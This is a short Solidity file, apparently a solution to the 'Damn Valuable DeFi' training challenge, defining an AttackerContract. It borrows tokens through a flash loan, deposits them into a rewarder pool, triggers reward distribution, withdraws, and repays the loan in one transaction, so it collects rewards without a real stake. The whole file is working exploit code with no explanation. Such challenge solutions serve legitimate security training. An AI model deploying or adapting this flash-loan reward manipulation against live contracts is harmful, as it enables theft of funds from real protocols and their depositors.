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AttackerContract.sol
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AttackerContract.sol
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// SPDX-License-Identifier: Unidentified
pragma solidity ^0.8.0;
interface IFlashLoanerPool {
function flashLoan(uint256 amount) external;
}
interface IRewarderPool {
function deposit(uint256 amountToDeposit) external;
function distributeRewards() external;
function withdraw(uint256 amountToWithdraw) external;
}
interface IDamnValuableToken {
function approve(address spender, uint256 amount) external;
function transfer(address recipient, uint256 amount) external;
}
contract AttackerContract {
address public damnValuableToken_addres;
address public RewarderPool_address;
address public flashLoanPool_address;
event Debug(address);
constructor(
address dvt_addres,
address rwp_addres,
address flp_address
) {
damnValuableToken_addres = dvt_addres;
RewarderPool_address = rwp_addres;
flashLoanPool_address = flp_address;
}
function attack(uint256 amount) external {
IFlashLoanerPool(flashLoanPool_address).flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external {
IDamnValuableToken(damnValuableToken_addres).approve(
RewarderPool_address,
amount
);
IRewarderPool(RewarderPool_address).deposit(amount);
IRewarderPool(RewarderPool_address).distributeRewards();
IRewarderPool(RewarderPool_address).withdraw(amount);
IDamnValuableToken(damnValuableToken_addres).transfer(
flashLoanPool_address,
amount
);
}
}